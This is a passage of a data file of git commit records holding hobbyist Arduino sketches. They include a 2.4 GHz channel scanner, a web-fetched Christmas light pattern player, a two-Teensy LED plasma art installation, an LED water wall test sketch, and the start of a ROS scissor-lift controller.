http:\/\/www.nordicsemi.com\/kor\/nordic\/download_resource\/8765\/2\/17776224\n *\/\nclass RF24scanner : public NRF24L01P {\npublic:\n \/** Number of channels scanned; 2 MHz bandwidth *\/\n static const uint8_t CHANNEL_MAX = 64;\n \n \/**\n * Construct the 2.4 GHz channel scanner.\n *\/\n RF24scanner() : NRF24L01P(0xC05A, 0x11) {}\n\n \/**\n * Measure the received power for all channels for the given\n * number of samples per channel.\n * @param[in] samples per channel (default 200).\n *\/\n void measure(uint16_t samples = 200);\n\n \/**\n * Plot the number of received power detect per channel to the\n * given output stream. The print out is channel frequency, \n * NRF24L01 channel number, WiFi channel number and samples\n * as a bar.\n * @param[in] outs output stream.\n *\/\n void plot(IOStream& outs);\n\nprotected:\n static const uint16_t WAIT_TIME = 130 + 40 + 30;\n uint8_t m_channel[CHANNEL_MAX];\n};\n\nvoid\nRF24scanner::measure(uint16_t samples)\n{\n if (samples == 0) return;\n \n \/\/ Clear the receive power detect counters and configure as receiver\n memset(m_channel, 0, sizeof(m_channel));\n write(CONFIG, (_BV(EN_CRC) | _BV(CRCO) | _BV(PWR_UP) | _BV(PRIM_RX)));\n \n do {\n \/\/ Set channel and check the receiver power detect register\n for (uint8_t i = 0; i < CHANNEL_MAX; i++) {\n write(RF_CH, i * 2);\n m_ce.set();\n DELAY(WAIT_TIME);\n m_channel[i] += (read(RPD) != 0);\n m_ce.clear();\n }\n } while (--samples);\n}\n\nvoid\nRF24scanner::plot(IOStream& outs)\n{\n \/\/ Plot the measurements with channel frequency and number (wifi)\n trace << PSTR(\"--------------------\") << endl;\n for (uint8_t i = 0; i < CHANNEL_MAX; i++) {\n if (m_channel[i] != 0) {\n float freq = 2.4 + 0.002 * i;\n outs << freq << ':' << 2 * i << ':';\n if (freq < 2.412 || freq > 2.472)\n\touts << PSTR(\"-:\");\n else\n\touts << (int) ((freq - 2.412) * 200.0) + 1 << ':';\n for (uint8_t j = 0; j < m_channel[i]; j++)\n\touts << 'I';\n outs << endl;\n }\n }\n}\n\n\/\/ Scanner with the default pin configuration\nRF24scanner scanner;\n\nvoid setup()\n{\n uart.begin(9600);\n trace.begin(&uart, PSTR(\"CosaRF24scanner: started\"));\n trace << PSTR(\"channel frequency:number:wifi:detects\") << endl;\n Watchdog::begin();\n RTC::begin();\n ASSERT(scanner.begin());\n}\n\nvoid loop()\n{\n scanner.measure();\n scanner.plot(trace);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Tools\/CosaRF24scanner\/CosaRF24scanner.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"1996b7b7ce9deb9ba313d4f25209f6cb9b05c0e5","subject":"Created the arduino program for parsing the json","message":"Created the arduino program for parsing the json","repos":"phptuts\/arduinochristmaslights,phptuts\/arduinochristmaslights","old_file":"json_arduino.ino","new_file":"json_arduino.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ArduinoJson.h>\n\n#ifdef __AVR__\n #include <avr\/power.h>\n#endif\n\n\/**\n * The number lights in your led strip\n *\/\n#define NUMPIXELS 60\n\n\/**\n * The default time before request another pattern. It's in milliseconds so it would be 10 seconds\n *\/\nint intervalToCheckTime = 10000;\n\n\/** \n * The time in the future to check the web for a new pattern. We set it to zero, it will be set correctly in the web request\n *\/\nint checkTimeInNumberOfSeconds = 0;\n\n\/\/ When we setup the NeoPixel library, we tell it how many pixels, and which pin to use to send signals.\n\/\/ Note that for older NeoPixel strips you might need to change the third parameter--see the strandtest\n\/\/ example for more information on possible values.\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, D6, NEO_GRB + NEO_KHZ800);\n\nWiFiClient client;\n\n\/** \n * WIFI STUFF\n *\/\nconst char* ssid = \"****\";\/\/type your ssid\nconst char* password = \"****\";\/\/type your password\nconst char* host = \"arduino-christmas-lighting-nglaser.c9users.io\";\nconst uint16_t port = 80;\n\n\n\n\/**\n * The number represents the max frame \/ lights a pattern can affect\n *\/\nconst int MAX_FRAMES = 250;\n\n\/**\n * This represents a frame.\n *\/\nstruct RGB_LIGHT {\n int red;\n int green;\n int blue;\n int lightPosition;\n int delayTime;\n \/**\n * If skip is true we break \n *\/\n boolean skip;\n};\n\n\/**\n * The pattern \/ frames used to turn on and off the lights\n *\/\nRGB_LIGHT lights[MAX_FRAMES];\n\nvoid setup() {\n \/\/ This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket\n#if defined (__AVR_ATtiny85__)\n if (F_CPU == 16000000) clock_prescale_set(clock_div_1);\n#endif\n \/\/ End of trinket special code\n\n pixels.begin(); \/\/ This initializes the NeoPixel library.\n Serial.begin(115200);\n delay(10);\n\n \/\/ We start by connecting to a WiFi network\n\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n \/* Explicitly set the ESP8266 to be a WiFi-client, otherwise, it by default,\n would try to act as both a client and an access-point and could cause\n network-issues with your other WiFi-devices on your WiFi-network. *\/\n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.println(\"IP address: \");\n Serial.println(WiFi.localIP());\n \n clearLights();\n webRequest();\n checkTimeInNumberOfSeconds = millis() + intervalToCheckTime;\n\n}\n\nvoid loop() {\n \n if (checkTimeInNumberOfSeconds > millis()) {\n for(int frameNumbers=0; frameNumbers < MAX_FRAMES; frameNumbers++){\n if (lights[frameNumbers].skip == false) {\n pixels.setPixelColor(lights[frameNumbers].lightPosition, pixels.Color(lights[frameNumbers].red,lights[frameNumbers].green,lights[frameNumbers].blue)); \n pixels.show(); \n delay(lights[frameNumbers].delayTime);\n }\n else {\n break;\n }\n }\n }\n else {\n webRequest();\n Serial.println(\"NEW PATTERN\");\n \/\/ Sets the time to check the web for a new pattern\n checkTimeInNumberOfSeconds = millis() + intervalToCheckTime;\n }\n}\n\n\/**\n * Clears all the lights \n *\/\nvoid clearLights() {\n for (int i = 0; i < NUMPIXELS; i += 1) {\n pixels.setPixelColor(i, pixels.Color(0,0,0)); \n pixels.show();\n }\n}\n\n\/** \n * Clears the array of RGB_LIGHTS\n *\/\nvoid clearArrayOfLights() {\n for(int i=0; i < MAX_FRAMES; i++){\n lights[i] = {0,0,0, 0, 0,false};\n }\n}\n\n\/**\n * Makes the web request to get the light pattern\n *\/\nvoid webRequest() {\n String jsonString = \"\";\n if (client.connect(host, port)) {\n String url = \"\/leds\";\n client.println(\"GET \" + url + \" HTTP\/1.1\");\n client.println(\"Host: \"+ (String)host);\n client.println(\"User-Agent: Arduino\/1.0\");\n client.println(\"Connection: close\");\n client.println();\n client.println();\n while (client.connected()) {\n \n client.readStringUntil('|');\n jsonString = client.readStringUntil('\\n');\n \n }\n parseJSONFromServer(jsonString);\n }\n else {\n Serial.println(\"NOT CONNECTED\");\n }\n}\n\n\n\/** \n * Parses the json string\n *\/\nvoid parseJSONFromServer(String jsonString)\n{\n DynamicJsonBuffer jsonBuffer;\n \/\/ Root of the object tree.\n \/\/\n \/\/ It's a reference to the JsonObject, the actual bytes are inside the\n \/\/ JsonBuffer with all the other nodes of the object tree.\n \/\/ Memory is freed when jsonBuffer goes out of scope.\n JsonObject& root = jsonBuffer.parseObject(jsonString);\n\n \n \n \/\/ Test if parsing succeeds.\n if (!root.success()) {\n Serial.println(\"parseObject() failed JSON STRING\");\n Serial.println(jsonString);\n return;\n }\n\n JsonArray& reds = root[\"reds\"].asArray();\n JsonArray& greens = root[\"greens\"].asArray();\n JsonArray& blues = root[\"blues\"].asArray();\n JsonArray& lightPositions = root[\"lightPositions\"].asArray();\n JsonArray& delayTimes = root[\"delayTimes\"].asArray();\n intervalToCheckTime = root[\"requestTime\"];\n clearArrayOfLights();\n for (int i = 0; i < reds.size(); i += 1) {\n lights[i] = { \n reds.get<int>(i),\n greens.get<int>(i),\n blues.get<int>(i), \n lightPositions.get<int>(i), \n delayTimes.get<int>(i),\n false\n };\n }\n}\n\n\n\/** \n * A debuggin function for seeing the light pattern\n *\/\nvoid printLights() {\n Serial.println(\"LIGHT PATTERN\");\n for (int frameNumbers = 0; frameNumbers < MAX_FRAMES; frameNumbers += 1) {\n if (lights[frameNumbers].skip) {\n break;\n }\n Serial.print(\"FRAME \" + String(frameNumbers, 10));\n Serial.print(\" RED \" + String(lights[frameNumbers].red, 10));\n Serial.print(\" GREEN \" + String(lights[frameNumbers].green, 10));\n Serial.print(\" BLUE \" + String(lights[frameNumbers].blue, 10));\n Serial.print(\" LIGHT POSITION \" + String(lights[frameNumbers].lightPosition, 10));\n Serial.print(\" DELAY TIME \" + String(lights[frameNumbers].delayTime, 10));\n Serial.println();\n }\n} \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'json_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"14ab1f1d7374f519e1cce8e6bb5e6cfbec5dd5ec","subject":"Finished all crucial functions","message":"Finished all crucial functions\n","repos":"MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm,MichalMares\/Ardularm","old_file":"Ardularm.ino","new_file":"Ardularm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/MichalMares\/Ardularm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8321627aebbdc19757c5d0296c74f7054664c43b","subject":"add the actual controller code","message":"add the actual controller code\n","repos":"ferrouswheel\/sensorium,ferrouswheel\/sensorium","old_file":"Sensorium\/Sensorium.ino","new_file":"Sensorium\/Sensorium.ino","new_contents":"\/\/ Sensorium - Kiwiburn 2014 art installation.\n\/\/\n\/\/ There are some nasty hacks in this code due to time constraints and weekend of\n\/\/ trying to get something working before the festival!\n\/\/\n\/\/ The set up involves two Teensy 3.1's connected by their SPI pins.\n\/\/ One has this code loaded on it, with masterTeensy = true,\n\/\/ the other with masterTeensy = false. The master sends updates with\n\/\/\n\/\/ - 8 sync bytes of 255,\n\/\/ - dial reading\n\/\/ - the framecount.\n\/\/ \n\/\/ Both teensy's read the \"big button state\" which Kiwiburners could\n\/\/ use to turn the sensorium on and off.\n\/\/\n\/\/ This could all be done much better, but nothing like a time constraint\n\/\/ to force to make something work!\n\/\/\n\/\/\n\/\/ Originally modified from:\n\/\/ PlazINT - Fast Plasma Generator using Integer Math Only\n\/\/ Edmund \"Skorn\" Horn\n\/\/ March 4,2013\n\/\/ Version 1.0 adapted for OctoWS2811Lib (tested, working...)\n\n\n#include <OctoWS2811.h>\n#include <FastRunningMedian.h>\n\n\/\/OctoWS2811 Defn. Stuff\n\/\/#define COLS_LEDs 60 \/\/ all of the following params need to be adjusted for screen size\n\/\/#define ROWS_LEDs 16 \/\/ LED_LAYOUT assumed 0 if ROWS_LEDs > 8\n#define LEDS_PER_STRIP 127 \/\/(COLS_LEDs * (ROWS_LEDs \/ 6))\n#define DEBUG false\n\nDMAMEM int displayMemory[LEDS_PER_STRIP*6];\nint drawingMemory[LEDS_PER_STRIP*6];\nconst int config = WS2811_GRB | WS2811_800kHz;\nOctoWS2811 leds(LEDS_PER_STRIP, displayMemory, drawingMemory, config);\nunsigned long frameCount=25500; \/\/ arbitrary seed to calculate the three time displacement variables t,t2,t3\n\n\/\/ 1. update LEDS_PER_STRIP\n\n\/\/ master\nconst int bigButtonAndControlPin = A3;\nconst int modeSelectorPin = A4;\nconst int masterPin = A5;\n\/\/ master teensy reads big button, slave reads commands from control pin.\nboolean masterTeensy = true;\n\/\/boolean masterTeensy = false;\n\n\/\/ button to determine display\n#define SHOW_PLASMA 1\n#define INACTIVE 0\n#define BUTTON_THRESHOLD 100\n\nint displayState = INACTIVE; \/\/ 0 means nothing displayed\n\nint bigButtonState; \/\/ the current reading from the input pin\nint lastBigButtonState = LOW; \/\/ the previous reading from the input pin\n\/\/ the following variables are long's because the time, measured in miliseconds,\n\/\/ will quickly become a bigger number than can be stored in an int.\n\/\/long lastDebounceTime = 0; \/\/ the last time the output pin was toggled\n\/\/long debounceDelay = 5; \/\/ the debounce time; increase if the output flickers\n\nlong lastDialTime = 0; \/\/ the last time the output pin was toggled\nlong dialDelay = 500; \/\/ the debounce time; increase if the output flickers\nint dialSpeed = 10;\n\n\n\/\/Byte val 2PI Cosine Wave, offset by 1 PI \n\/\/supports fast trig calcs and smooth LED fading\/pulsing.\nuint8_t const cos_wave[256] PROGMEM = \n{0,0,0,0,1,1,1,2,2,3,4,5,6,6,8,9,10,11,12,14,15,17,18,20,22,23,25,27,29,31,33,35,38,40,42,\n45,47,49,52,54,57,60,62,65,68,71,73,76,79,82,85,88,91,94,97,100,103,106,109,113,116,119,\n122,125,128,131,135,138,141,144,147,150,153,156,159,162,165,168,171,174,177,180,183,186,\n189,191,194,197,199,202,204,207,209,212,214,216,218,221,223,225,227,229,231,232,234,236,\n238,239,241,242,243,245,246,247,248,249,250,251,252,252,253,253,254,254,255,255,255,255,\n255,255,255,255,254,254,253,253,252,252,251,250,249,248,247,246,245,243,242,241,239,238,\n236,234,232,231,229,227,225,223,221,218,216,214,212,209,207,204,202,199,197,194,191,189,\n186,183,180,177,174,171,168,165,162,159,156,153,150,147,144,141,138,135,131,128,125,122,\n119,116,113,109,106,103,100,97,94,91,88,85,82,79,76,73,71,68,65,62,60,57,54,52,49,47,45,\n42,40,38,35,33,31,29,27,25,23,22,20,18,17,15,14,12,11,10,9,8,6,6,5,4,3,2,2,1,1,1,0,0,0,0\n};\n\n\n\/\/Gamma Correction Curve\nuint8_t const exp_gamma[256] PROGMEM =\n{0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,3,3,3,3,3,\n4,4,4,4,4,5,5,5,5,5,6,6,6,7,7,7,7,8,8,8,9,9,9,10,10,10,11,11,12,12,12,13,13,14,14,14,15,15,\n16,16,17,17,18,18,19,19,20,20,21,21,22,23,23,24,24,25,26,26,27,28,28,29,30,30,31,32,32,33,\n34,35,35,36,37,38,39,39,40,41,42,43,44,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,\n61,62,63,64,65,66,67,68,70,71,72,73,74,75,77,78,79,80,82,83,84,85,87,89,91,92,93,95,96,98,\n99,100,101,102,105,106,108,109,111,112,114,115,117,118,120,121,123,125,126,128,130,131,133,\n135,136,138,140,142,143,145,147,149,151,152,154,156,158,160,162,164,165,167,169,171,173,175,\n177,179,181,183,185,187,190,192,194,196,198,200,202,204,207,209,211,213,216,218,220,222,225,\n227,229,232,234,236,239,241,244,246,249,251,253,254,255\n};\n\nconst int numDialReadings = 4;\nint dialReadings[numDialReadings]; \/\/ the readings from the analog input\nint dialIndex = 0; \/\/ the index of the current reading\nint dialTotal = 0; \/\/ the running total\nint dialAverage = 0; \/\/ the average\nFastRunningMedian<unsigned int, 5, 50> dialReadingsMedian;\n\nfloat readDial() {\n int theValue = analogRead(modeSelectorPin);\n dialReadingsMedian.addValue(theValue);\n \n theValue = dialReadingsMedian.getMedian();\n\n \/\/ subtract the last reading:\n dialTotal = dialTotal - dialReadings[dialIndex]; \n dialReadings[dialIndex] = theValue;\n \n \/\/ add the reading to the total:\n dialTotal = dialTotal + dialReadings[dialIndex]; \n dialIndex++;\n\n if (dialIndex >= numDialReadings) dialIndex = 0; \n\n \/\/ calculate the average:\n dialAverage = dialTotal \/ numDialReadings;\n return dialAverage; \n \n}\n\nvoid setup()\n{\n delay(100);\n Serial.begin(38400);\n Serial.write('\\n');\n Serial.println(\"---------------------------------\");\n Serial.println(\"Starting Sensorium, version 1\");\n \n Serial1.begin(9600);\n\n if (masterTeensy) {\n Serial.println(\"Master mode\");\n pinMode(masterPin, OUTPUT);\n digitalWrite(masterPin, HIGH);\n \/\/ initialize all the readings to 0:\n for (int thisReading = 0; thisReading < numDialReadings; thisReading++)\n dialReadings[thisReading] = 0; \n } else {\n Serial.println(\"Slave mode\"); \n }\n\n Serial.println(\"---------------------------------\");\n\n pinMode(bigButtonAndControlPin, INPUT);\n pinMode(modeSelectorPin, INPUT);\n \n pinMode(13, OUTPUT);\n\n leds.begin();\n leds.show();\n}\n\nvoid clearPixels() {\n for (uint8_t y = 0; y < 8; y++) {\n for (uint8_t x = 0; x < LEDS_PER_STRIP ; x++) {\n int pixelIndex = (y * LEDS_PER_STRIP) + x;\n leds.setPixel(pixelIndex, 0);\n }\n }\n}\n\nint circleRows = 19;\nint maxRowLength = 72;\n\/\/ format is { teensy led pin, reversed?, num leds }\nconst int rowLayout[][3] = {\n { 0, 0, 36, }, {0, 1, 46},\n { 1, 0, 51 }, {1, 1, 57},\n { 2, 0, 60 }, {2, 1, 65}, \n { 3, 0, 69 },\n { 4, 0, 70 },\n { 5, 0, 72 },\n { 6, 0, 72 },\n { 7, 0, 72 },\n { 8, 0, 71 },\n { 9, 0, 68 },\n { 10, 0, 65 }, {10, 1, 61 },\n { 11, 0, 56 }, {11, 1, 52 },\n { 12, 0, 43 }, {12, 1, 38 },\n};\n\nint getPixelIndex(int row, int col) {\n boolean reverse = false;\n int offset = 0, offsetRow = 0, actualRow = 0, rowLength = 0, diff = 0, col_offset=0;\n\n if (row >= circleRows) return -1;\n rowLength = rowLayout[row][2];\n col_offset = (maxRowLength - rowLength) \/ 2;\n if (col < col_offset || col > maxRowLength - col_offset) return -1;\n\n actualRow = rowLayout[row][0];\n reverse = rowLayout[row][1];\n\n \n offsetRow = row - 1;\n while(offsetRow >= 0 && rowLayout[offsetRow][0] == actualRow) {\n offset += rowLayout[offsetRow][2];\n offsetRow --;\n }\n \n if (masterTeensy) { actualRow -= 7; }\n \n diff = maxRowLength - rowLength;\n\n if (DEBUG) {\n Serial.print(row);\n Serial.print(\" \");\n Serial.print(col); \n Serial.print(\" actualRow \");\n Serial.print(actualRow);\n Serial.print(\" offset \");\n Serial.print(offset);\n Serial.print(\"\\n\");\n }\n \n if (reverse == 1) {\n return offset + (rowLength - (col - col_offset)) + actualRow*LEDS_PER_STRIP;\n } else {\n return offset + (col - col_offset) + actualRow*LEDS_PER_STRIP;\n }\n \n}\n\n\nvoid plasma() {\n frameCount += (dialSpeed\/18.0) + 1;\n uint16_t t = fastCosineCalc((42 * frameCount)\/100); \/\/time displacement - fiddle with these til it looks good...\n uint16_t t2 = fastCosineCalc((25 * frameCount)\/100); \n uint16_t t3 = fastCosineCalc((38 * frameCount)\/100);\n uint16_t pixelIndex = 0;\n\n uint8_t startRow = 0;\n uint8_t endRow = 10;\n if (masterTeensy) { startRow += 10; endRow += 9; }\n\n for (uint8_t y = startRow; y < endRow; y++) {\n pixelIndex = getPixelIndex(y, 0);\n if (DEBUG) {\n Serial.print(\"pixelIndex y x i \");\n Serial.print(y);\n Serial.print(\" \");\n Serial.print(0);\n Serial.print(\" \");\n Serial.print(pixelIndex);\n Serial.print(\"\\n\");\n }\n for (uint8_t x = 0; x < maxRowLength ; x++) {\n pixelIndex = getPixelIndex(y, x);\n if (pixelIndex < 0) continue;\n \/\/Calculate 3 seperate plasma waves, one for each color channel\n uint8_t r = fastCosineCalc(((x << 3) + (t >> 1) + fastCosineCalc((t2 + (y << 3)))));\n uint8_t g = fastCosineCalc(((y << 3) + t + fastCosineCalc(((t3 >> 2) + (x << 3)))));\n uint8_t b = fastCosineCalc(((y << 3) + t2 + fastCosineCalc((t + x + (g >> 2)))));\n \/\/uncomment the following to enable gamma correction\n r=pgm_read_byte_near(exp_gamma+r); \n g=pgm_read_byte_near(exp_gamma+g);\n b=pgm_read_byte_near(exp_gamma+b);\n r *= max(0.05,(dialSpeed \/ 140.0));\n g *= max(0.05,(dialSpeed \/ 140.0));\n b *= max(0.05,(dialSpeed \/ 140.0)); \n leds.setPixel(pixelIndex, ((r << 16) | (g << 8) | b));\n \/\/ pixelIndex += left2Right; optimisation!\n }\n }\n digitalWrite(13, HIGH);\n leds.show(); \/\/ not sure if this function is needed to update each frame\n digitalWrite(13, LOW); \n}\n\n\n\nvoid loop()\n{\n if (displayState == SHOW_PLASMA) {\n plasma();\n } else {\n delay(100);\n }\n \/\/ read the state of the switch into a local variable:\n int reading = digitalRead(bigButtonAndControlPin);\n\n if (masterTeensy) {\n \/\/ check to see if you just pressed the button\n \/\/ (i.e. the input went from LOW to HIGH), and you've waited\n \/\/ long enough since the last press to ignore any noise: \n\n \/\/ If the switch changed, due to noise or pressing:\n \/*if (reading != lastBigButtonState) {\n \/\/ reset the debouncing timer\n lastDebounceTime = millis();\n }\n if (!reading) {\n Serial.println(\"beep\");\n }*\/ \n\n if (1) { \/\/(millis() - lastDebounceTime) > debounceDelay) {\n \/\/ whatever the reading is at, it's been there for longer\n \/\/ than the debounce delay, so take it as the actual current state:\n\n \/\/ if the button state has changed:\n if (reading != bigButtonState) {\n bigButtonState = reading;\n \/\/ only toggle the LED if the new button state is HIGH\n if (bigButtonState == LOW) {\n if (DEBUG) Serial.println(\"Button pushed.\");\n if (displayState == INACTIVE) {\n displayState = SHOW_PLASMA;\n if (DEBUG) Serial.println(\"Write low!\");\n digitalWrite(masterPin, LOW);\n } else {\n clearPixels();\n leds.show();\n displayState = INACTIVE;\n if (DEBUG) Serial.println(\"Write high!\");\n digitalWrite(masterPin, HIGH);\n }\n }\n }\n }\n \n if (masterTeensy && (millis() - lastDialTime) > dialDelay) {\n dialSpeed = readDial();\n Serial.println(dialSpeed);\n Serial1.write(255);\n Serial1.write(255);\n Serial1.write(255);\n Serial1.write(255);\n Serial1.write(255);\n Serial1.write(255);\n Serial1.write(255);\n Serial1.write(255);\n Serial1.write((uint8_t) dialSpeed);\n unsigned long val = frameCount;\n byte b[4];\n b[3] = (byte )((val >> 24) & 0xff);\n b[2] = (byte )((val >> 16) & 0xff);\n b[1] = (byte )((val >> 8) & 0xff);\n b[0] = (byte )(val & 0xff);\n\n unsigned long val2;\n memcpy(&val2, b, sizeof(unsigned long));\n Serial.print(\"Sent frameCount == \");\n Serial.println(val2);\n \n for (int i=0; i<4; ++i) {\n Serial1.write(b[i]);\n }\n lastDialTime = millis();\n }\n } else {\n if (Serial1.available() >= 13) {\n int data = Serial1.read();\n int sync = 0;\n while ((char)data == 255) {\n sync++;\n while (!Serial1.available() ) {};\n data = Serial1.read();\n }\n if (sync >= 7) { \n dialSpeed = data;\n byte b[4];\n int data_count = 0;\n while (data_count < 4) {\n if (Serial1.available()) {\n data = Serial1.read();\n b[data_count] = data;\n data_count += 1;\n }\n }\n unsigned long val;\n memcpy(&val,b,sizeof(unsigned long));\n \n if (DEBUG) {\n Serial.print(\"Got dialspeed == \");\n Serial.print(dialSpeed);\n Serial.print(\" frameCount == \");\n Serial.print(val);\n Serial.print(\" drift=\"); \n Serial.println(val - frameCount);\n }\n frameCount = val;\n }\n }\n \/\/ Slave mode\n if (bigButtonState != reading) {\n bigButtonState = reading;\n if (bigButtonState == LOW) {\n if (DEBUG) Serial.println(\"Read low\");\n displayState = SHOW_PLASMA;\n \n } else {\n if (DEBUG) Serial.println(\"Read high\");\n clearPixels();\n leds.show();\n displayState = INACTIVE;\n\n } \n }\n }\n \n \/\/ save the reading. Next time through the loop,\n \/\/ it'll be the lastButtonState:\n lastBigButtonState = reading;\n\n}\n\ninline uint8_t fastCosineCalc( uint16_t preWrapVal)\n{\n uint8_t wrapVal = (preWrapVal % 255);\n if (wrapVal<0) wrapVal=255+wrapVal;\n return (pgm_read_byte_near(cos_wave+wrapVal)); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensorium\/Sensorium.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8556268741c4b503b805ffcfaf993274517a36f7","subject":"Fixed Test","message":"Fixed Test\n","repos":"tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer","old_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/Arduino_Flight_Computer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a8cb6be72ec3d6a48517b3ceae8f02dce2e61fdc","subject":"Created initial test arduino sketch","message":"Created initial test arduino sketch\n\nthis sketch is supposed to imitate the 40 boards getting randomly wetter\nand reporting the values back over serial.\n","repos":"ramgarden\/LEDWaterWall,ramgarden\/LEDWaterWall","old_file":"Arduino\/LEDWaterWallSketch\/LEDWaterWallSketch.ino","new_file":"Arduino\/LEDWaterWallSketch\/LEDWaterWallSketch.ino","new_contents":"\/*\n * LED Water Wall\n *\n * The arduino will be getting analog wetness values from\n * each LED board then sending them as a byte array over\n * USB serial to a laptop running the main interface\n * program for music and other bonus output.\n *\n * https:\/\/256.makerslocal.org\/wiki\/LED_Water_Wall\n *\/\n\nint AnalogPin1 = 0;\nint AnalogPin2 = 1;\nint AnalogPin3 = 2;\nint AnalogPin4 = 3;\nint AnalogPin5 = 4;\nint AnalogPin6 = 5;\nint PollingSeconds = 5; \/\/num seconds to wait between checks\nint const TotalBoards = 40; \/\/the total number of LED board modules\nint wetnessValues[TotalBoards]; \/\/all the analog values from each board\n\n\/\/setup all the pin modes for reading in the wetness from the \n\/\/LED wall boards as well as getting the USB serial set up\n\/\/to send byte arrays to a laptop running the main interface\n\/\/program for music and other bonus output.\nvoid setup()\n{\n Serial.begin(4800);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n for (int i = 0; i < TotalBoards; i++)\n {\n wetnessValues[i] = 0; \n }\n Serial.println(\"LEDWaterWall arduino serial online and ready.\");\n}\n\n\/\/gets each wetness value from the analog inputs and returns it\n\/\/ as an array of bytes.\nvoid getWetnessValues(int wetnessValues[])\n{\n \/\/loop through each board\n \n \/\/read analog in for that board\n \/\/analogRead();\n \n \/\/add that value as a byte to the return array\n \n \/\/end loop\n \n \/\/for now just return test values\n incrementValues(wetnessValues); \n \n}\n\n\/\/randomly increment random values in the given array \n\/\/by a random amount and return the array. \nvoid incrementValues(int wetVals[])\n{ \n int index = 0;\n int increment = 0;\n int wetVal = 0;\n while (index < TotalBoards)\n {\n \/\/First pick the random index\n index += random(5);\n \n \/\/then choose how much to increment by.\n increment = random(500);\n \n \/\/get the value at that index (bounds check!)\n if(index >= TotalBoards)\n {\n index = TotalBoards - 1;\n }\n \n wetVal = wetVals[index];\n \n \/\/first time through will be all zeros so set them to something\n if (!wetVal)\n {\n wetVal = 0; \n }\n \n Serial.println(\"got index: \" + index);\n Serial.println(\"got increment: \" + increment);\n Serial.println(\"got wetVal: \" + wetVal);\n \n \/\/check if that value would go over 1024 if incremented\n wetVal += increment;\n if (wetVal > 1024)\n {\n \/\/if so then just set it to 1024\n wetVal = 1024;\n }\n \n wetVals[index] = wetVal;\n \n if(index == TotalBoards - 1)\n {\n index = TotalBoards; \n }\n }\n}\n\nvoid loop()\n{\n \/\/read the values from the wall\n getWetnessValues(wetnessValues);\n\n for(int i = 0; i<TotalBoards; i++)\n {\n \/\/Serial.print(wetnessValues[i]);\n }\n \n Serial.println(\"\");\n \n delay(PollingSeconds * 1000); \/\/wait a few seconds.\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/LEDWaterWallSketch\/LEDWaterWallSketch.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1486498977cb61e0754443f5c70f07d1a173458d","subject":"New scissor lift control code which can accept negative number. And switch from absolute height to relative height(reference from the last command)","message":"New scissor lift control code which can accept negative number. And switch from absolute height to relative height(reference from the last command)\n","repos":"MRSDTeamI\/bud-e,MRSDTeamI\/bud-e,MRSDTeamI\/bud-e,MRSDTeamI\/bud-e,MRSDTeamI\/bud-e,MRSDTeamI\/bud-e","old_file":"arduino\/Scissor_Lift_Control_IR_0427.ino","new_file":"arduino\/Scissor_Lift_Control_IR_0427.ino","new_contents":"\n#include <ros.h>\n#include <std_msgs\/String.h>\n#include <std_msgs\/Int32.h>\n\n\nros::NodeHandle nh;\nstd_msgs::String str_msg;\n\/\/ros::Publisher chatter(\"chatter\", &str_msg);\n\nint relay1 = 7;\nint relay2 = 5;\nint relay3 = 4;\nint relay4 = 3;\n\nconst int ir_pin= A0; \n\nfloat ir_distance ; \nfloat ir_volt; \n\n#define arr_size 11 \n\nint measured_vals[arr_size] = {0,0,0,0,0,0,0,0,0,0,0};\nint filter_result =0;\n\n\nunsigned long start, finished, elapsed, exe_period;\nunsigned long ini_pos, des_pos, tmp_pos;\n\n\nvoid get_height( const std_msgs::Int32& cmd_msg)\n{\n \n des_pos = cmd_msg.data + ini_pos;\n if(des_pos != ini_pos)\n \n { \n if(des_pos > ini_pos)\n { \n Serial.println(\"start up\");\n tmp_pos = get_IRdistance_filtered();\n \n Serial.println(tmp_pos);\n while(abs(des_pos-tmp_pos)>1 && des_pos >= tmp_pos)\n \n { \n digitalWrite(relay2, HIGH);\n \n digitalWrite(relay3, HIGH);\n digitalWrite(relay1, LOW);\n digitalWrite(relay4, LOW); \n \/\/delay(1000); \n \n tmp_pos = get_IRdistance_filtered();\n 